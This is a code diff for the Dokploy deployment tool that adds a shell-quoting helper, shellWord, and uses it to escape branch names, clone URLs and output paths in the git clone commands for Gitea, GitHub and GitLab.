@@ -7,6 +7,7 @@ import {
 } from "@dokploy/server/services/gitea";
 import type { InferResultType } from "@dokploy/server/types/with";
 import { TRPCError } from "@trpc/server";
+import { shellWord } from "./utils";
 
 export const getErrorCloneRequirements = (entity: {
 	giteaRepository?: string | null;
@@ -176,8 +177,8 @@ export const cloneGiteaRepository = async ({
 		giteaRepository!,
 	);
 
-	command += `echo "Cloning Repo ${repoClone} to ${outputPath}: ✅";`;
-	command += `git clone --branch ${giteaBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`;
+	command += `echo ${shellWord(`Cloning Repo ${repoClone} to ${outputPath}: ✅`)};`;
+	command += `git clone --branch ${shellWord(giteaBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`;
 	return command;
 };
 

packages/server/src/utils/providers/github.ts

@@ -7,6 +7,7 @@ import { createAppAuth } from "@octokit/auth-app";
 import { TRPCError } from "@trpc/server";
 import { Octokit } from "octokit";
 import type { z } from "zod";
+import { shellWord } from "./utils";
 
 export const authGithub = (githubProvider: Github): Octokit => {
 	if (!haveGithubRequirements(githubProvider)) {
@@ -166,8 +167,8 @@ export const cloneGithubRepository = async ({
 	command += `mkdir -p ${outputPath};`;
 	const cloneUrl = `https://oauth2:${token}@${repoclone}`;
 
-	command += `echo "Cloning Repo ${repoclone} to ${outputPath}: ✅";`;
-	command += `git clone --branch ${branch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`;
+	command += `echo ${shellWord(`Cloning Repo ${repoclone} to ${outputPath}: ✅`)};`;
+	command += `git clone --branch ${shellWord(branch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`;
 
 	return command;
 };

packages/server/src/utils/providers/gitlab.ts

@@ -9,6 +9,7 @@ import {
 import type { InferResultType } from "@dokploy/server/types/with";
 import { TRPCError } from "@trpc/server";
 import type { z } from "zod";
+import { shellWord } from "./utils";
 
 export const refreshGitlabToken = async (gitlabProviderId: string) => {
 	const gitlabProvider = await findGitlabById(gitlabProviderId);
@@ -151,8 +152,8 @@ export const cloneGitlabRepository = async ({
 	command += `mkdir -p ${outputPath};`;
 	const repoClone = getGitlabRepoClone(gitlab, gitlabPathNamespace);
 	const cloneUrl = getGitlabCloneUrl(gitlab, repoClone);
-	command += `echo "Cloning Repo ${repoClone} to ${outputPath}: ✅";`;
-	command += `git clone --branch ${gitlabBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`;
+	command += `echo ${shellWord(`Cloning Repo ${repoClone} to ${outputPath}: ✅`)};`;
+	command += `git clone --branch ${shellWord(gitlabBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`;
 	return command;
 };
 

packages/server/src/utils/providers/utils.ts

@@ -0,0 +1,6 @@
+import { quote } from "shell-quote";
+
+// Escapes a value so it is safe to interpolate as a single argument into a
+// /bin/sh -c command string (local execAsync and remote SSH execAsyncRemote).
+export const shellWord = (value: string | number | null | undefined): string =>
+	quote([String(value ?? "")]);